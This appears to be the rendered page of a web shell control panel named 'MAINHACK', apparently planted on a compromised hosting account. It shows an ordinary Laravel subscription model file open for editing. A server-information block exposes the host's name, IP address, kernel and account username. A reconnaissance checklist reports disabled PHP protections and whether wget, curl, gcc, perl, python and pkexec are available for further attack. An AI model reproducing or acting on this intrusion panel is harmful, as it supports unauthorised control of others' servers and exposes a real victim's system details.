[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Subscribe.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Astrotomic\Translatable\Contracts\Translatable as TranslatableContract; use Astrotomic\Translatable\Translatable; class Subscribe extends Model implements TranslatableContract { use Translatable; protected $table = 'subscribes'; public $timestamps = false; protected $dateFormat = 'U'; protected $guarded = ['id']; public $translatedAttributes = ['title', 'description']; public function getTitleAttribute() { return getTranslateAttributeValue($this, 'title'); } public function getDescriptionAttribute() { return getTranslateAttributeValue($this, 'description'); } public function sales() { return $this->hasMany('App\Models\Sale', 'subscribe_id', 'id'); } public function uses() { return $this->hasMany('App\Models\SubscribeUse', 'subscribe_id', 'id'); } public static function getActiveSubscribe($userId) { $activePlan = null; $subscribe = null; $saleCreatedAt = null; $lastSubscribeSale = Sale::where('buyer_id', $userId) ->where('type', Sale::$subscribe) ->whereNull('refund_at') ->latest('created_at') ->first(); if ($lastSubscribeSale) { $subscribe = $lastSubscribeSale->subscribe; $saleCreatedAt = $lastSubscribeSale->created_at; } /* check installment */ if (empty($subscribe)) { $installmentOrder = InstallmentOrder::query()->where('user_id', $userId) ->whereNotNull('subscribe_id') ->where('status', 'open') ->whereNull('refund_at') ->latest('created_at') ->first(); if (!empty($installmentOrder)) { $subscribe = $installmentOrder->subscribe; $subscribe->installment_order_id = $installmentOrder->id; $saleCreatedAt = $installmentOrder->created_at; if ($installmentOrder->checkOrderHasOverdue()) { $overdueIntervalDays = getInstallmentsSettings('overdue_interval_days'); if (empty($overdueIntervalDays) or $installmentOrder->overdueDaysPast() > $overdueIntervalDays) { $subscribe = null; } } } } if (!empty($subscribe) and !empty($saleCreatedAt)) { $useCount = SubscribeUse::where('user_id', $userId) ->where('subscribe_id', $subscribe->id) ->whereHas('sale', function ($query) use ($saleCreatedAt) { $query->where('created_at', '>', $saleCreatedAt); $query->whereNull('refund_at'); }) ->count(); $subscribe->used_count = $useCount; $countDayOfSale = (int)diffTimestampDay(time(), $saleCreatedAt); if ( ($subscribe->usable_count > $useCount or $subscribe->infinite_use) and $subscribe->days >= $countDayOfSale ) { $activePlan = $subscribe; } } return $activePlan; } public static function getDayOfUse($userId) { $lastSubscribeSale = Sale::where('buyer_id', $userId) ->where('type', Sale::$subscribe) ->whereNull('refund_at') ->latest('created_at') ->first(); return $lastSubscribeSale ? (int)diffTimestampDay(time(), $lastSubscribeSale->created_at) : 0; } public function activeSpecialOffer() { $activeSpecialOffer = SpecialOffer::where('subscribe_id', $this->id) ->where('status', SpecialOffer::$active) ->where('from_date', '<', time()) ->where('to_date', '>', time()) ->first(); return $activeSpecialOffer ?? false; } public function getPrice() { $price = $this->price; $specialOffer = $this->activeSpecialOffer(); if (!empty($specialOffer)) { $price = $price - ($price * $specialOffer->percent / 100); } return $price; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285